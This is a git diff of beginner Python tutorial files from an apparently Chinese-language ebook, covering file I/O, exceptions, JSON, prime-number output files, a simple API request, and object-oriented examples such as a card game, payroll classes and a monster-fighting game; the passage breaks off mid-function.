diff --git a/ebook/pythonEbook/fileAndexception/JSON.py b/ebook/pythonEbook/fileAndexception/JSON.py new file mode 100644 index 0000000000000000000000000000000000000000..a4493d091f47c60489dffa9d6bbfb499898aae1b --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/JSON.py @@ -0,0 +1,61 @@ +import json +import time + +""" +写入json 数据到json 文件中 +""" + + +def main(): + mydict = { + 'name': 'admin123', + 'age': 28, + 'qq': 403367632, + 'friends': ['dachui wang', 'yuanfang bai'], + 'cars': [ + {'brand': 'BYD', 'max_speed': 180}, + {'brand': 'Audi', 'max_speed': 280}, + {'brand': 'Benz', 'max_speed': 320} + ] + } + try: + with open('data.json', 'w', encoding='utf-8') as fs: + json.dump(mydict, fs) + except IOError as e: + print(e) + + +print('保存数据完成!') + + +def readJson(): + try: + with open("data.json", "r", encoding="utf-8") as fs: + print(fs.read()) + except FileNotFoundError as e: + print(e) + print() + + try: + with open("data.json", "r", encoding="utf-8") as fs: + for line in fs: + print(line, end="") + time.sleep(0.5) + except FileNotFoundError as e: + print(e) + + print() + + try: + with open("data.json", "r", encoding="utf-8") as fs: + lines = fs.readlines() + print(lines) + except FileNotFoundError as e: + print(e) + + +print("文件读取完成") + +if __name__ == '__main__': + main() + readJson() diff --git a/ebook/pythonEbook/fileAndexception/a.png b/ebook/pythonEbook/fileAndexception/a.png new file mode 100644 index 0000000000000000000000000000000000000000..bad3ed636d403b077a236b5902dfd0d80ef90a4a Binary files /dev/null and b/ebook/pythonEbook/fileAndexception/a.png differ diff --git a/ebook/pythonEbook/fileAndexception/a.txt b/ebook/pythonEbook/fileAndexception/a.txt new file mode 100644 index 0000000000000000000000000000000000000000..afc67fd936ef068139aa203972af20ea95d6c0e4 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/a.txt @@ -0,0 +1,25 @@ +2 +3 +5 +7 +11 +13 +17 +19 +23 +29 +31 +37 +41 +43 +47 +53 +59 +61 +67 +71 +73 +79 +83 +89 +97 diff --git a/ebook/pythonEbook/fileAndexception/b.png b/ebook/pythonEbook/fileAndexception/b.png new file mode 100644 index 0000000000000000000000000000000000000000..bad3ed636d403b077a236b5902dfd0d80ef90a4a Binary files /dev/null and b/ebook/pythonEbook/fileAndexception/b.png differ diff --git a/ebook/pythonEbook/fileAndexception/b.txt b/ebook/pythonEbook/fileAndexception/b.txt new file mode 100644 index 0000000000000000000000000000000000000000..0aa2bff2b8f862a58648e43a4d0c86381a7cd68d --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/b.txt @@ -0,0 +1,143 @@ +101 +103 +107 +109 +113 +127 +131 +137 +139 +149 +151 +157 +163 +167 +173 +179 +181 +191 +193 +197 +199 +211 +223 +227 +229 +233 +239 +241 +251 +257 +263 +269 +271 +277 +281 +283 +293 +307 +311 +313 +317 +331 +337 +347 +349 +353 +359 +367 +373 +379 +383 +389 +397 +401 +409 +419 +421 +431 +433 +439 +443 +449 +457 +461 +463 +467 +479 +487 +491 +499 +503 +509 +521 +523 +541 +547 +557 +563 +569 +571 +577 +587 +593 +599 +601 +607 +613 +617 +619 +631 +641 +643 +647 +653 +659 +661 +673 +677 +683 +691 +701 +709 +719 +727 +733 +739 +743 +751 +757 +761 +769 +773 +787 +797 +809 +811 +821 +823 +827 +829 +839 +853 +857 +859 +863 +877 +881 +883 +887 +907 +911 +919 +929 +937 +941 +947 +953 +967 +971 +977 +983 +991 +997 diff --git a/ebook/pythonEbook/fileAndexception/c.txt b/ebook/pythonEbook/fileAndexception/c.txt new file mode 100644 index 0000000000000000000000000000000000000000..7e0c73e55d83f68d23c179e5f7043008e22e9d35 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/c.txt @@ -0,0 +1,1061 @@ +1009 +1013 +1019 +1021 +1031 +1033 +1039 +1049 +1051 +1061 +1063 +1069 +1087 +1091 +1093 +1097 +1103 +1109 +1117 +1123 +1129 +1151 +1153 +1163 +1171 +1181 +1187 +1193 +1201 +1213 +1217 +1223 +1229 +1231 +1237 +1249 +1259 +1277 +1279 +1283 +1289 +1291 +1297 +1301 +1303 +1307 +1319 +1321 +1327 +1361 +1367 +1373 +1381 +1399 +1409 +1423 +1427 +1429 +1433 +1439 +1447 +1451 +1453 +1459 +1471 +1481 +1483 +1487 +1489 +1493 +1499 +1511 +1523 +1531 +1543 +1549 +1553 +1559 +1567 +1571 +1579 +1583 +1597 +1601 +1607 +1609 +1613 +1619 +1621 +1627 +1637 +1657 +1663 +1667 +1669 +1693 +1697 +1699 +1709 +1721 +1723 +1733 +1741 +1747 +1753 +1759 +1777 +1783 +1787 +1789 +1801 +1811 +1823 +1831 +1847 +1861 +1867 +1871 +1873 +1877 +1879 +1889 +1901 +1907 +1913 +1931 +1933 +1949 +1951 +1973 +1979 +1987 +1993 +1997 +1999 +2003 +2011 +2017 +2027 +2029 +2039 +2053 +2063 +2069 +2081 +2083 +2087 +2089 +2099 +2111 +2113 +2129 +2131 +2137 +2141 +2143 +2153 +2161 +2179 +2203 +2207 +2213 +2221 +2237 +2239 +2243 +2251 +2267 +2269 +2273 +2281 +2287 +2293 +2297 +2309 +2311 +2333 +2339 +2341 +2347 +2351 +2357 +2371 +2377 +2381 +2383 +2389 +2393 +2399 +2411 +2417 +2423 +2437 +2441 +2447 +2459 +2467 +2473 +2477 +2503 +2521 +2531 +2539 +2543 +2549 +2551 +2557 +2579 +2591 +2593 +2609 +2617 +2621 +2633 +2647 +2657 +2659 +2663 +2671 +2677 +2683 +2687 +2689 +2693 +2699 +2707 +2711 +2713 +2719 +2729 +2731 +2741 +2749 +2753 +2767 +2777 +2789 +2791 +2797 +2801 +2803 +2819 +2833 +2837 +2843 +2851 +2857 +2861 +2879 +2887 +2897 +2903 +2909 +2917 +2927 +2939 +2953 +2957 +2963 +2969 +2971 +2999 +3001 +3011 +3019 +3023 +3037 +3041 +3049 +3061 +3067 +3079 +3083 +3089 +3109 +3119 +3121 +3137 +3163 +3167 +3169 +3181 +3187 +3191 +3203 +3209 +3217 +3221 +3229 +3251 +3253 +3257 +3259 +3271 +3299 +3301 +3307 +3313 +3319 +3323 +3329 +3331 +3343 +3347 +3359 +3361 +3371 +3373 +3389 +3391 +3407 +3413 +3433 +3449 +3457 +3461 +3463 +3467 +3469 +3491 +3499 +3511 +3517 +3527 +3529 +3533 +3539 +3541 +3547 +3557 +3559 +3571 +3581 +3583 +3593 +3607 +3613 +3617 +3623 +3631 +3637 +3643 +3659 +3671 +3673 +3677 +3691 +3697 +3701 +3709 +3719 +3727 +3733 +3739 +3761 +3767 +3769 +3779 +3793 +3797 +3803 +3821 +3823 +3833 +3847 +3851 +3853 +3863 +3877 +3881 +3889 +3907 +3911 +3917 +3919 +3923 +3929 +3931 +3943 +3947 +3967 +3989 +4001 +4003 +4007 +4013 +4019 +4021 +4027 +4049 +4051 +4057 +4073 +4079 +4091 +4093 +4099 +4111 +4127 +4129 +4133 +4139 +4153 +4157 +4159 +4177 +4201 +4211 +4217 +4219 +4229 +4231 +4241 +4243 +4253 +4259 +4261 +4271 +4273 +4283 +4289 +4297 +4327 +4337 +4339 +4349 +4357 +4363 +4373 +4391 +4397 +4409 +4421 +4423 +4441 +4447 +4451 +4457 +4463 +4481 +4483 +4493 +4507 +4513 +4517 +4519 +4523 +4547 +4549 +4561 +4567 +4583 +4591 +4597 +4603 +4621 +4637 +4639 +4643 +4649 +4651 +4657 +4663 +4673 +4679 +4691 +4703 +4721 +4723 +4729 +4733 +4751 +4759 +4783 +4787 +4789 +4793 +4799 +4801 +4813 +4817 +4831 +4861 +4871 +4877 +4889 +4903 +4909 +4919 +4931 +4933 +4937 +4943 +4951 +4957 +4967 +4969 +4973 +4987 +4993 +4999 +5003 +5009 +5011 +5021 +5023 +5039 +5051 +5059 +5077 +5081 +5087 +5099 +5101 +5107 +5113 +5119 +5147 +5153 +5167 +5171 +5179 +5189 +5197 +5209 +5227 +5231 +5233 +5237 +5261 +5273 +5279 +5281 +5297 +5303 +5309 +5323 +5333 +5347 +5351 +5381 +5387 +5393 +5399 +5407 +5413 +5417 +5419 +5431 +5437 +5441 +5443 +5449 +5471 +5477 +5479 +5483 +5501 +5503 +5507 +5519 +5521 +5527 +5531 +5557 +5563 +5569 +5573 +5581 +5591 +5623 +5639 +5641 +5647 +5651 +5653 +5657 +5659 +5669 +5683 +5689 +5693 +5701 +5711 +5717 +5737 +5741 +5743 +5749 +5779 +5783 +5791 +5801 +5807 +5813 +5821 +5827 +5839 +5843 +5849 +5851 +5857 +5861 +5867 +5869 +5879 +5881 +5897 +5903 +5923 +5927 +5939 +5953 +5981 +5987 +6007 +6011 +6029 +6037 +6043 +6047 +6053 +6067 +6073 +6079 +6089 +6091 +6101 +6113 +6121 +6131 +6133 +6143 +6151 +6163 +6173 +6197 +6199 +6203 +6211 +6217 +6221 +6229 +6247 +6257 +6263 +6269 +6271 +6277 +6287 +6299 +6301 +6311 +6317 +6323 +6329 +6337 +6343 +6353 +6359 +6361 +6367 +6373 +6379 +6389 +6397 +6421 +6427 +6449 +6451 +6469 +6473 +6481 +6491 +6521 +6529 +6547 +6551 +6553 +6563 +6569 +6571 +6577 +6581 +6599 +6607 +6619 +6637 +6653 +6659 +6661 +6673 +6679 +6689 +6691 +6701 +6703 +6709 +6719 +6733 +6737 +6761 +6763 +6779 +6781 +6791 +6793 +6803 +6823 +6827 +6829 +6833 +6841 +6857 +6863 +6869 +6871 +6883 +6899 +6907 +6911 +6917 +6947 +6949 +6959 +6961 +6967 +6971 +6977 +6983 +6991 +6997 +7001 +7013 +7019 +7027 +7039 +7043 +7057 +7069 +7079 +7103 +7109 +7121 +7127 +7129 +7151 +7159 +7177 +7187 +7193 +7207 +7211 +7213 +7219 +7229 +7237 +7243 +7247 +7253 +7283 +7297 +7307 +7309 +7321 +7331 +7333 +7349 +7351 +7369 +7393 +7411 +7417 +7433 +7451 +7457 +7459 +7477 +7481 +7487 +7489 +7499 +7507 +7517 +7523 +7529 +7537 +7541 +7547 +7549 +7559 +7561 +7573 +7577 +7583 +7589 +7591 +7603 +7607 +7621 +7639 +7643 +7649 +7669 +7673 +7681 +7687 +7691 +7699 +7703 +7717 +7723 +7727 +7741 +7753 +7757 +7759 +7789 +7793 +7817 +7823 +7829 +7841 +7853 +7867 +7873 +7877 +7879 +7883 +7901 +7907 +7919 +7927 +7933 +7937 +7949 +7951 +7963 +7993 +8009 +8011 +8017 +8039 +8053 +8059 +8069 +8081 +8087 +8089 +8093 +8101 +8111 +8117 +8123 +8147 +8161 +8167 +8171 +8179 +8191 +8209 +8219 +8221 +8231 +8233 +8237 +8243 +8263 +8269 +8273 +8287 +8291 +8293 +8297 +8311 +8317 +8329 +8353 +8363 +8369 +8377 +8387 +8389 +8419 +8423 +8429 +8431 +8443 +8447 +8461 +8467 +8501 +8513 +8521 +8527 +8537 +8539 +8543 +8563 +8573 +8581 +8597 +8599 +8609 +8623 +8627 +8629 +8641 +8647 +8663 +8669 +8677 +8681 +8689 +8693 +8699 +8707 +8713 +8719 +8731 +8737 +8741 +8747 +8753 +8761 +8779 +8783 +8803 +8807 +8819 +8821 +8831 +8837 +8839 +8849 +8861 +8863 +8867 +8887 +8893 +8923 +8929 +8933 +8941 +8951 +8963 +8969 +8971 +8999 +9001 +9007 +9011 +9013 +9029 +9041 +9043 +9049 +9059 +9067 +9091 +9103 +9109 +9127 +9133 +9137 +9151 +9157 +9161 +9173 +9181 +9187 +9199 +9203 +9209 +9221 +9227 +9239 +9241 +9257 +9277 +9281 +9283 +9293 +9311 +9319 +9323 +9337 +9341 +9343 +9349 +9371 +9377 +9391 +9397 +9403 +9413 +9419 +9421 +9431 +9433 +9437 +9439 +9461 +9463 +9467 +9473 +9479 +9491 +9497 +9511 +9521 +9533 +9539 +9547 +9551 +9587 +9601 +9613 +9619 +9623 +9629 +9631 +9643 +9649 +9661 +9677 +9679 +9689 +9697 +9719 +9721 +9733 +9739 +9743 +9749 +9767 +9769 +9781 +9787 +9791 +9803 +9811 +9817 +9829 +9833 +9839 +9851 +9857 +9859 +9871 +9883 +9887 +9901 +9907 +9923 +9929 +9931 +9941 +9949 +9967 +9973 diff --git a/ebook/pythonEbook/fileAndexception/data.json b/ebook/pythonEbook/fileAndexception/data.json new file mode 100644 index 0000000000000000000000000000000000000000..41e600eee4991598e008fe85c4c809ffd7eeca97 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/data.json @@ -0,0 +1,23 @@ +{ + "name": "admin123", + "age": 28, + "qq": 403367632, + "friends": [ + "dachui wang", + "yuanfang bai" + ], + "cars": [ + { + "brand": "BYD", + "max_speed": 180 + }, + { + "brand": "Audi", + "max_speed": 280 + }, + { + "brand": "Benz", + "max_speed": 320 + } + ] +} \ No newline at end of file diff --git a/ebook/pythonEbook/fileAndexception/fileWrite.py b/ebook/pythonEbook/fileAndexception/fileWrite.py new file mode 100644 index 0000000000000000000000000000000000000000..1b2a9f4f7656032e6a8d1d6d9acdafda4442be42 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/fileWrite.py @@ -0,0 +1,38 @@ +def main(): + """ + 文件读取后抛出异常 + Returns + ------- + + + # 使用try 和except finally处理异常 + f = None + try: + f = open("致橡树.txt", "r", encoding="utf-8") + print(f.read()) + except FileNotFoundError: + print("没有找到对应的文件!") + except LookupError: + print('指定了未知的编码!') + except UnicodeDecodeError: + print('读取文件时解码错误!') + finally: + if f: + f.close() + """ + + # 使用with 处理异常 + f = None + try: + with open("致橡树.txt", "r", encoding="utf-8") as f: + print(f.read()) + except FileNotFoundError: + print("没有找到对应的文件!") + except LookupError: + print('指定了未知的编码!') + except UnicodeDecodeError: + print('读取文件时解码错误!') + + +if __name__ == '__main__': + main() diff --git "a/ebook/pythonEbook/fileAndexception/\345\244\251\350\241\214\346\225\260\346\215\256\350\257\267\346\261\202.py" "b/ebook/pythonEbook/fileAndexception/\345\244\251\350\241\214\346\225\260\346\215\256\350\257\267\346\261\202.py" new file mode 100644 index 0000000000000000000000000000000000000000..5118ecfa4a0dc182b9efb2566aef128c1f0f78aa --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\345\244\251\350\241\214\346\225\260\346\215\256\350\257\267\346\261\202.py" @@ -0,0 +1,18 @@ +import json + +import requests + + +def main(): + url = "https://apis.tianapi.com/esports/index" + key = "xxxx" # 申请后生成的key + num = "10" + resData = requests.get(url + "?key=" + key + "&num=" + num) + data_model = json.loads(resData.text) + newsList = data_model['result'] + for news in newsList['newslist']: + print(news['title']) + + +if __name__ == '__main__': + main() diff --git "a/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" "b/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" new file mode 100644 index 0000000000000000000000000000000000000000..e7b4713b025f84675e0141301d3bfab1a1e8763b --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" @@ -0,0 +1,41 @@ +from math import sqrt + +""" +将1-9999之间的素数分别写入三个文件中(1-99之间的素数保存在a.txt中,100-999之间的素数保存在b.txt中,1000-9999之间的素数保存在c.txt中) +""" + + +def is_prime(n): + """判断素数的函数""" + assert n > 0 + for factor in range(2, int(sqrt(n)) + 1): + if n % factor == 0: + return False + return True if n != 1 else False + + +def main(): + filenames = ('a.txt', "b.txt", "c.txt") + file_list = [] + try: + for fileName in filenames: + file_list.append(open(fileName, "w", encoding="utf-8")) + for num in range(1, 10000): + if is_prime(num): + if num < 100: + file_list[0].write(str(num) + "\n") + elif num < 1000: + file_list[1].write(str(num) + "\n") + else: + file_list[2].write(str(num) + "\n") + except IOError as ex: + print(ex) + print("文件写入时出现错误") + finally: + for fs in file_list: + fs.close() + print("全部写完了") + + +if __name__ == '__main__': + main() diff --git "a/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" "b/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" new file mode 100644 index 0000000000000000000000000000000000000000..0c2fa39f6ca84fc3a67f93bfe26bd892eb4d233d --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" @@ -0,0 +1,44 @@ +【原诗】 【Johanna Yueh 修改版】 +致橡树 To the Oak Tree +作者:舒婷 By Shu Ting + +我如果爱你—— If I love you -- +绝不像攀援的凌霄花 I will never be a clinging trumpet creeper +借你的高枝炫耀自己 Using your high boughs to show off my height + +我如果爱你—— If I love you -- +绝不学痴情的鸟儿 I will never be a spoony bird +为绿荫重复单调的歌曲 Repeating a monotonous song for green shade + +也不止像泉源 Or be a spring +常年送来清凉的慰藉 Bringing cool solace all year long +也不止像险峰 Or be a steep peak +增加你的高度,衬托你的威仪 Increasing your stature, reflecting your eminence +甚至日光 Even the sunlight +甚至春雨 Even the spring rain +不,这些都还不够 No, all these are not enough + +我必须是你近旁的一株木棉 I must be a ceiba tree beside you +作为树的形象和你站在一起 Be the image of a tree standing together with you +根,紧握在地下 Our roots, entwined underground +叶,相触在云里 Our leaves, touching in the clouds +每一阵风过 With each gust of wind +我们都互相致意 We greet each other +但没有人 But nobody +听懂我们的言语 Can understand our words + +你有你的铜枝铁干 You'll have your copper branches and iron trunk +像刀、像剑,也像戟 Like knives, like swords, like halberds, too +我有我的红硕花朵 I'll have my crimson flowers +像沉重的叹息 Like heavy sighs +又像英勇的火炬 And valiant torches +我们分担寒潮、风雷、霹雳 We'll share cold spells, storms and thunder +我们共享雾霭、流岚、虹霓 We'll share mists, hazes and rainbows +仿佛永远分离 Seemingly always apart +却又终身相依 But also forever interdependent + +这才是伟大的爱情 Only this can be great love +坚贞就在这里 The loyalty is here +爱—— Love -- +不仅爱你伟岸的身躯 I love not only your strapping stature +也爱你坚持的位置,足下的土地 But also your firm stand, the earth beneath you \ No newline at end of file diff --git "a/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" new file mode 100644 index 0000000000000000000000000000000000000000..781ab9931877d29283b0ff8dc42ff4573f94ba03 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" @@ -0,0 +1,18 @@ +def main(): + try: + with open("a.png", "rb") as f: + pngA = f.read() + print(type(pngA)) + + with open("b.png", "wb") as f: + f.write(pngA) + except FileNotFoundError as e: + print(e) + print("没有找到对应的文件!") + except IOError as e: + print(e) + print("文件写入时错误") + + +if __name__ == '__main__': + main() diff --git "a/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" new file mode 100644 index 0000000000000000000000000000000000000000..e7247a023e0ee87571b4efa067ad22240f118bd3 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" @@ -0,0 +1,24 @@ +import time + + +def main(): + f = None + # 一次性读取整个文件内容 + with open("致橡树.txt", "r", encoding="utf-8") as f: + print(f.read()) + + # 通过for-in循环逐行读取 + with open('致橡树.txt', mode='r', encoding="utf-8") as f: + for line in f: + print(line, end='') + time.sleep(0.5) + print() + + # 按行读到列表中 + with open('致橡树.txt', "r", encoding="utf-8") as f: + lines = f.readlines() + print(lines) + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/object/plus/Card.py b/ebook/pythonEbook/object/plus/Card.py new file mode 100644 index 0000000000000000000000000000000000000000..98a40c94578066798d30ce36b814a01e0f6d21cf --- /dev/null +++ b/ebook/pythonEbook/object/plus/Card.py @@ -0,0 +1,110 @@ +import random + + +class Card(object): + """一张牌""" + + def __init__(self, suite, face): + self._suite = suite + self._face = face + + @property + def face(self): + return self._face + + @property + def suite(self): + return self._suite + + def __str__(self): + if self._face == 1: + face_str = 'A' + elif self._face == 11: + face_str = 'J' + elif self._face == 12: + face_str = 'Q' + elif self._face == 13: + face_str = 'K' + else: + face_str = str(self._face) + return '%s%s' % (self._suite, face_str) + + def __repr__(self): + return self.__str__() + + +class Poker(object): + """一副牌""" + + def __init__(self): + self._cards = [Card(suite, face) + for suite in '♠♥♣♦' + for face in range(1, 14)] + self._current = 0 + + @property + def cards(self): + return self._cards + + def shuffle(self): + """洗牌(随机乱序)""" + self._current = 0 + random.shuffle(self._cards) + + @property + def next(self): + """发牌""" + card = self._cards[self._current] + self._current += 1 + return card + + @property + def has_next(self): + """还有没有牌""" + return self._current < len(self._cards) + + +class Player(object): + """玩家""" + + def __init__(self, name): + self._name = name + self._cards_on_hand = [] + + @property + def name(self): + return self._name + + @property + def cards_on_hand(self): + return self._cards_on_hand + + def get(self, card): + """摸牌""" + self._cards_on_hand.append(card) + + def arrange(self, card_key): + """玩家整理手上的牌""" + self._cards_on_hand.sort(key=card_key) + + +# 排序规则-先根据花色再根据点数排序 +def get_key(card): + return (card.suite, card.face) + + +def main(): + p = Poker() + p.shuffle() + players = [Player('东邪'), Player('西毒'), Player('南帝'), Player('北丐')] + for _ in range(13): + for player in players: + player.get(p.next) + for player in players: + print(player.name + ':', end=' ') + player.arrange(get_key) + print(player.cards_on_hand) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ebook/pythonEbook/object/plus/ClockClassMethod.py b/ebook/pythonEbook/object/plus/ClockClassMethod.py new file mode 100644 index 0000000000000000000000000000000000000000..4b2d3333c64e7297b94b84726501533b2f6e612c --- /dev/null +++ b/ebook/pythonEbook/object/plus/ClockClassMethod.py @@ -0,0 +1,41 @@ +from time import localtime, time, sleep + + +class ClockClassMethod(object): + def __init__(self, hour, minute, second): + self._hour = hour + self._minute = minute + self._second = second + + # 类方法 使用类名.方法名调用 + @classmethod + def now(cls): + dateTime = localtime(time()) + return cls(dateTime.tm_hour, dateTime.tm_min, dateTime.tm_sec) + + def run(self): + self._second += 1 + if self._second == 60: + self._second = 0 + self._minute += 1 + if self._minute == 60: + self._minute = 0 + self._hour += 1 + if self._hour == 24: + self._hour = 0 + + def show(self): + return '%02d:%02d:%02d' % \ + (self._hour, self._minute, self._second) + + +def main(): + now = ClockClassMethod.now() + while True: + print(now.show()) + sleep(1) + now.run() + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/object/plus/Employee.py b/ebook/pythonEbook/object/plus/Employee.py new file mode 100644 index 0000000000000000000000000000000000000000..baa8bdbe6f2d3de42e09ec09f53910980fd8f891 --- /dev/null +++ b/ebook/pythonEbook/object/plus/Employee.py @@ -0,0 +1,99 @@ +""" +某公司有三种类型的员工 分别是部门经理、程序员和销售员 +需要设计一个工资结算系统 根据提供的员工信息来计算月薪 +部门经理的月薪是每月固定15000元 +程序员的月薪按本月工作时间计算 每小时150元 +销售员的月薪是1200元的底薪加上销售额5%的提成 +""" +from abc import ABCMeta, abstractmethod + + +class Employee(object, metaclass=ABCMeta): + """员工""" + + def __init__(self, name): + """ + 初始化方法 + + :param name: 姓名 + """ + self._name = name + + @property + def name(self): + return self._name + + @abstractmethod + def get_salary(self): + """ + 获得月薪 + + :return: 月薪 + """ + pass + + +class Manager(Employee): + """部门经理""" + + def get_salary(self): + return 15000.0 + + +class Programmer(Employee): + """程序员""" + + def __init__(self, name, working_hour=0): + super().__init__(name) + self._working_hour = working_hour + + @property + def working_hour(self): + return self._working_hour + + @working_hour.setter + def working_hour(self, working_hour): + self._working_hour = working_hour if working_hour > 0 else 0 + + def get_salary(self): + return 150.0 * self._working_hour + + +class Salesman(Employee): + """销售员""" + + def __init__(self, name, sales=0): + super().__init__(name) + self._sales = sales + + @property + def sales(self): + return self._sales + + @sales.setter + def sales(self, sales): + self._sales = sales if sales > 0 else 0 + + def get_salary(self): + return 1200.0 + self._sales * 0.05 + + +def main(): + emps = [ + Manager('刘备'), Programmer('诸葛亮'), + Manager('曹操'), Salesman('荀彧'), + Salesman('吕布'), Programmer('张辽'), + Programmer('赵云') + ] + for emp in emps: + if isinstance(emp, Programmer): + emp.working_hour = int(input('请输入%s本月工作时间: ' % emp.name)) + elif isinstance(emp, Salesman): + emp.sales = float(input('请输入%s本月销售额: ' % emp.name)) + # 同样是接收get_salary这个消息但是不同的员工表现出了不同的行为(多态) + print('%s本月工资为: ¥%s元' % + (emp.name, emp.get_salary())) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ebook/pythonEbook/object/plus/ExtendePerson.py b/ebook/pythonEbook/object/plus/ExtendePerson.py new file mode 100644 index 0000000000000000000000000000000000000000..405239feb06f00929b9a7f73cde7b722d101ee4f --- /dev/null +++ b/ebook/pythonEbook/object/plus/ExtendePerson.py @@ -0,0 +1,83 @@ +class Person(object): + def __init__(self, name, age, gender): + self._name = name + self._age = age + self._gender = gender + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def age(self): + return self._age + + @age.setter + def age(self, age): + self._age = age + + @property + def gender(self): + return self._gender + + @gender.setter + def gender(self, gender): + self._gender = gender + + def play(self): + print('%s正在愉快的玩耍.' % self._name) + + def watch_av(self): + if self._age >= 18: + print('%s正在观看爱情动作片.' % self._name) + else: + print('%s只能观看《熊出没》.' % self._name) + + +class Student(Person): + def __init__(self, name, age, gender, grade): + super().__init__(name, age, gender) + self._grade = grade + + @property + def grade(self): + return self._grade + + @grade.setter + def grade(self, grade): + self._grade = grade + + def study(self, course_name): + print("%s 年级的 %s 正在学习: %s" % (self._grade, self._name, course_name)) + + +class Teacher(Person): + def __init__(self, name, age, gender, title): + super().__init__(name, age, gender) + self._title = title + + @property + def title(self): + return self._title + + @title.setter + def title(self, title): + self._title = title + + def teach(self, course): + print("%s 正在讲授 %s" % (self._name, course)) + + +def main(): + stu = Student('王二麻子', 16, '男', '高二') + stu.study("高中物理") + teacher = Teacher('王大麻子', 36, '男', '数学') + teacher.teach("高中数学") + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/object/plus/Fighter.py b/ebook/pythonEbook/object/plus/Fighter.py new file mode 100644 index 0000000000000000000000000000000000000000..be57f5fa1a8355fb93f7012952ee435667f62627 --- /dev/null +++ b/ebook/pythonEbook/object/plus/Fighter.py @@ -0,0 +1,182 @@ +from abc import ABCMeta, abstractmethod +from random import randint, randrange + + +class Fighter(object, metaclass=ABCMeta): + # 通过__slots__魔法限定对象可以绑定的成员变量 + __slots__ = ('_name', '_hp') + + def __init__(self, name, hp): + self._name = name + self._hp = hp + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def hp(self): + return self._hp + + @hp.setter + def hp(self, hp): + self._hp = hp + + @abstractmethod + def attack(self, other): + """ + 攻击 + :param other: 被攻击的对象 + :return: + """ + pass + + @property + def alive(self): + return self.hp > 0 + + +class Ultraman(Fighter): + """奥特曼""" + __slots__ = ("_name", "_hp", "_mp") + + def __init__(self, name, hp, mp): + """初始化方法 + + :param name: 名字 + :param hp: 生命值 + :param mp: 魔法值 + """ + super().__init__(name, hp) + self._mp = mp + + def attack(self, other): + other.hp -= randint(15, 25) + + def huge_attack(self, other): + """究极必杀技(打掉对方至少50点或四分之三的血) + + :param other: 被攻击的对象 + + :return: 使用成功返回True否则返回False + """ + if self._mp >= 50: + self._mp -= 50 + injury = other.hp * 3 // 4 + injury = injury if injury >= 50 else 50 + other.hp -= injury + return True + else: + self.attack(other) + return False + + def magic_attack(self, others): + """魔法攻击 + + :param others: 被攻击的群体 + + :return: 使用魔法成功返回True否则返回False + """ + if self._mp >= 20: + self._mp -= 20 + for temp in others: + if temp.alive: + temp.hp -= randint(10, 15) + return True + else: + return False + + def resume(self): + """恢复魔法值""" + incr_point = randint(1, 10) + self._mp += incr_point + return incr_point + + def __str__(self): + return '~~~%s奥特曼~~~\n' % self._name + \ + '生命值: %d\n' % self._hp + \ + '魔法值: %d\n' % self._mp + + +class Monster(Fighter): + """小怪兽""" + + __slots__ = ('_name', '_hp') + + def attack(self, other): + other.hp -= randint(10, 20) + + def __str__(self): + return '~~~%s小怪兽~~~\n' % self._name + \ + '生命值: %d\n' % self._hp + + +def is_any_alive(monsters): + """判断有没有小怪兽是活着的""" + for monster in monsters: + if monster.alive > 0: + return True + return False + + +def select_alive_one(monsters): + """选中一只活着的小怪兽""" + monsters_len = len(monsters) + while True: + index = randrange(monsters_len) + monster = monsters[index] + if monster.alive > 0: + return monster + + +def display_info(ultraman, monsters): + """显示奥特曼和小怪兽的信息""" + print(ultraman) + for monster in monsters: + print(monster, end='') + + +def main(): + u = Ultraman('李白', 1000, 120) + m1 = Monster('狄仁杰', 250) + m2 = Monster('白元芳', 500) + m3 = Monster('王大锤', 750) + ms = [m1, m2, m3] + fight_round = 1 + while u.alive and is_any_alive(ms): + print('========第%02d回合========' % fight_round) + m = select_alive_one(ms) # 选中一只小怪兽 + skill = randint(1, 10) # 通过随机数选择使用哪种技能 + if skill <= 6: # 60%的概率使用普通攻击 + print('%s使用普通攻击打了%s.' % (u.name, m.name)) + u.attack(m) + print('%s的魔法值恢复了%d点.' % (u.name, u.resume())) + elif skill <= 9: # 30%的概率使用魔法攻击(可能因魔法值不足而失败) + if u.magic_attack(ms): + print('%s使用了魔法攻击.' % u.name) + else: + print('%s使用魔法失败.' % u.name) + else: # 10%的概率使用究极必杀技(如果魔法值不足则使用普通攻击) + if u.huge_attack(m): + print('%s使用究极必杀技虐了%s.' % (u.name, m.name)) + else: + print('%s使用普通攻击打了%s.' % (u.name, m.name)) 